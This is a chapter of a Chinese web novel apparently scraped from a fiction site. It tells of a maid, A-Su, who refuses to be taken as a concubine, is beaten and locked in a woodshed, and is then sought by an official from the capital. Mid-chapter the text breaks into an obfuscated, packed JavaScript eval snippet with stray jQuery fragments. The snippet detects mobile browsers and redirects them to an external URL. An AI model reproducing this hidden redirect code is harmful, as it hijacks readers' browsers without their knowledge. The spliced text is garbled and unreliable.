江南，乔家宅院。
临近年尾最是喜庆热闹，寒冬腊月的天里，许多丫鬟在后院中嬉戏游闹。
只有一个身姿纤细的女子不在众人之内，而是独自濯洗着一盆又一盆衣裳。她的双手冻得发紫，肿胀得很难看。
“喂，这不是大家的活吗？几个没皮没脸的东西。”一个年岁略长一些的丫鬟走进后院，指着嬉戏的丫头们，骂道。
其中一个丫鬟并不服气，立刻也指着她道：“呸，就你偏心她。”
另外的小丫鬟赶紧跟着附和：“就是就是，华年姐姐，你难道不知昨日二公子传她去暖房中坐了一下午！准是勾引了公子，好躲懒去。”
“又乱嚼舌根子。”华年不再争辩，默默地端了把矮凳坐到纤弱女子身边，开始濯洗衣物。
华年悄悄对她说：“你莫管她们，我知道，二公子唤你去是帮他抄书。你的字一向好看。”
但女子却没有回应，恍若未闻。
华年看着她这样，不禁有些心疼。
府里的丫鬟们大都是家里人送进来的，待到可以出嫁的年纪，便由家人再赎回去。
只有她，似乎六七岁时便被人牙子卖进乔府，既无亲人来赎，恐怕一辈子都要待在这里了。
偏偏她还不记得自己家在哪，也不记得姓氏，只知道自己名字里有个“素”字。
阿素终日也不与人交流，故被众丫鬟排斥，再加上府中二公子待她与旁人不同，更是招致忮忌。
一盆又一盆的衣裳被褥清洗完毕后，已然至午时。又将它们一一晒起，悬在竹竿上。做完这些事才能去吃午饭，但她们来得太晚，伙房里什么也没有了。
“抱歉，是我拖累你了。”一直沉默不语的阿素突然开口。
华年叹了口气，道：“哪是你的错，这些活是她们推给你一个人做，否则也不会洗到过午时分。”
但事已至此，也只能空着肚子等到夜里再吃。
黄昏时，阿素被传去前厅侍候，据说来了客人，摆着小宴。
她同其余丫鬟一起摆完菜之后便竖立在一旁等候。
宴席规模不大，似乎是乔家人的一位远亲，是主母的堂姐，往年也来过府里的。
在座的也没有什么长辈，两位公子三位小姐，以及乔家主母和几位侧室姨娘，还有那位远亲。
主母与其堂姐乐不可支地聊着什么，堂姐忽然提起在场孩子们的婚事。
主母答道：“大公子倒是已经成亲，二公子尚未，三个姑娘都还年幼。”
堂姐看向二公子，长相尚可，也到了娶亲之年，皱眉道：“怎么还不娶妻？哪怕先纳个妾室也可。”
二公子知道这位堂姨母素来和善疼人，也不顾忌，便将心中所想说了出来：“姨母，孩儿心中已有合适人选。”
“哦？是谁？”堂姨母一听便来了兴致，“姨母为你做主。”
二公子闻言立刻站了起来，走到阿素身边，抓起她的手，笑着说：“阿素，府中丫鬟，做事十分利落，性情也和婉。”
“你这孩子……”主母不满于他的无礼之举，但也只是低声斥责了一句，这种斥责中明显还带着溺爱。
阿素被吓了一跳，甩开他的手，立马跪下磕头，“夫人，二公子，恕阿素不能从命。”
主母和堂姨母尚未开口替二公子纳妾，却被这丫鬟严声拒绝，意外地看着她。
二公子更是脸上青一阵红一阵，瞪着阿素。
“既然丫头不愿，你也别强求人家了。”堂姨母道。
二公子显然不满，眼神投向母亲求助，却被母亲瞪了一眼，示意他先坐下。
他只好照做。
夫人吩咐阿素先下去，她才连忙离开前厅。
夜里，夫人房内，二公子立在一旁耍脾气，“母亲！我就是欢喜阿素。”
“没出息的样子，你但凡有你大哥一半本事……”夫人恨铁不成钢地看着他。
好半晌，夫人才又慢慢地说：“不过一个丫鬟，你去许诺她些银钱，若还是不愿，就打上几棍，关进柴房，饿个几日，自然就从了。”
“还是母亲对孩儿好。”二公子顿时一喜，立马作揖。
“你方才若是执着撒泼，岂不是在姨母面前丢我们乔家的脸？”
“孩儿知错了嘛。”
第二日，乔二公子亲自去找了阿素，提起此事，但阿素依旧十分强硬地拒绝。
一旁还站了许多丫鬟们看热闹，二公子丢了面子岂肯罢休，狠狠甩了阿素一个耳光。
阿素被打得跌坐在地，右脸已经发红刺痛，大约很快就会肿起来。
“不知好歹的东西，拖下去。”二公子胸口剧烈起伏，恶狠狠地吩咐小厮。
谁知阿素突然站了起来，以全身力气也甩了二公子一个耳光。
二公子捂着脸，不可置信地看着阿素，她的眼神阴冷，仿佛恨不得在这里杀了他。
四周丫鬟们的嘲弄声音似乎快要涌进耳朵，二公子发了狠，又将阿素踹倒在地，不停地踢她、踹她。
华年经过这里，丢了手上端着的茶具，上前扑在阿素身上，嘴里喊着：“二公子饶命啊！再打就出人命了！”
但二公子怎么可能就此停脚？他毫不犹豫地连华年也一起打。
几个小厮站在一边也不敢上前拉架，只得面面相觑。
一片混乱中，不知谁喊了一句：“夫人来了！”
二公子这才停下，冷着脸让小厮把阿素和华年一起拖下去。
当夜二公子被罚跪祠堂，但阿素一事却被避开不提，没有人将她们放出来疗伤。
本就是寒冬，她们穿得少，瑟缩在柴房中，伤口火辣辣的疼。
“为什么要冲出来救我？”阿素道。
她的嘴角还有干涸的血迹，在看到华年为自己挡着二公子的打骂时，她想推开华年，却做不到，只能又将她挡在身下。
故此，华年其实没有受什么重伤。
“我知道你不想欠任何人的人情，但我总是心疼你，看到你，我就会想起我走失的小妹。”
华年絮絮叨叨地说起她小妹的事，但阿素眼皮沉重，没听进去多少就昏睡过去了。
在梦里她似乎回忆起幼年的时光，六岁之前，她还没有被人贩拐走，身边还有母亲、父亲，似乎还有些姐妹兄弟。
但这些都只剩模糊的印象，一旦醒来就成了泡影。
被关进柴房的第三天，三天里一点吃食都没有，伤口也一直在疼，若是天热，甚至会发炎流脓吧。
第三天，一个丫鬟趁着没有人注意，从缝隙里塞了两个馒头进来，没有留名字。
阿素和华年很快就把馒头吃掉了。
她不想死，但真的死了，好像也没什么大不了的。
她倚在柴火堆旁边，开始幻想死之后的情景。
人们都说，人死之后的灵魂会回到故乡。但没有人说，要是这个人不记得自己的故乡在哪，灵魂又该去到何处呢？
她真的还有家人吗？
想着想着，外面突然传来喧闹声，吵吵嚷嚷的。
算算日子，也没有到除夕，怎么这样热闹？<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329048|199151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
华年好奇，凑到门边，扒着门缝朝外看。
似乎有许多小丫鬟议论着什么，神情喜悦而好奇，有几个还往前院方向走。
华年轻轻呼唤一个平日和自己关系还不错的丫鬟，待她走近时，问道：
“发生什么事了？怎么这么热闹？”
“华年姐姐，府里来了贵客呢，前厅侍候的丫鬟说，贵客长得好看，可惜我们不能过去瞧瞧。”
“什么贵客？”
小丫鬟想了一阵，“这个就不知道了，不过听她们说，似乎是京城来的大官，老爷和夫人的态度毕恭毕敬的。不跟你说了华年姐姐，被人看到就不好了。”
“好，你去吧。”
华年坐了回去，对阿素说：“来了贵客呢，你说，会不会是衙门的人？说不定我们俩就能出去了。”
阿素只是淡淡地说了一句：“是吗？”
“你的伤真是肿得厉害，再不处理的话就糟了。”华年怜惜地看着她身上的伤，恐怕当时连肋骨都打断了几根。
前厅，乔老爷和夫人坐在下座，而那位贵客则坐在上座。
“傅公子，不知来寒舍有何公务要办吗？”
乔老爷在这一阵子已经把最近做过的所有事都想了一遍，怎么都想不出有什么事能惊动京城的廷尉监。
乔家不过做些纺织生意，就是真犯了事，自有县令查案。
可他最近实在是什么都没做呀。
偏偏这位傅公子什么都不说，只是静静地坐着。
良久，傅公子才道：“你们府中十六岁左右的女眷、丫鬟，全部带过来。”
乔老爷立刻吩咐下去。
很快，那些丫鬟们便都来到了前厅，零零总总十余人。
傅公子从座椅上起来，走近她们，“抬起头。”
丫鬟们照做，纷纷抬起头来。
他转了一圈，又回到原地，抬起手，示意自己带来的侍女。
侍女道：“是。”
说罢，她按顺序一一将这些丫鬟带到旁边房间的屏风之后，十几个丫鬟都检查完毕之后，侍女走到傅公子身边，摇了摇头。
傅公子眉尖微蹙，眸色晦暗，语气又冷了几分：“乔老爷确定全部女眷都在此处了？”
“是啊，乔府没有其余十六芳华的女子了。三位小女也都不过豆蔻之年。”乔老爷确定道。
一旁夫人问道：“傅公子可是在找什么人？莫不是逃犯？”
“捉逃犯并不在我职责范围之内。”
此次南下已经数月，好不容易找到她的消息，说是被人牙子卖到乔家了。
眼下却说没有。
这时，忽然听到底下跪着的丫鬟们窃窃私语着什么，傅公子问道：“说什么？”
丫鬟们面面相觑，犹豫着才说：“回公子，府中还有一位符合条件的丫鬟，名叫阿素。”
乔老爷和夫人闻言脸色一变，竟差点把她忘了，立刻喝止：“住口！”
这事若是暴露给傅公子，即使他并非官府的人，也有权力扣押乔家人。
“乔老爷，你这是骗了本官啊？”傅公子嘴角上扬，面色却比刚才更加阴沉。
乔老爷和夫人忍受不住这等威慑，扑通一声跪在地上，语无伦次地说道：“大人明察！她说的阿素早在五日前就因犯事被逐出府了，并不在府内。”
“她犯了什么事？”
“以下犯上，欺主之罪。她当着众人的面殴打小儿，此等女子，乔府是留不得的。”
“本官只问一遍，她现下是否在你府上？”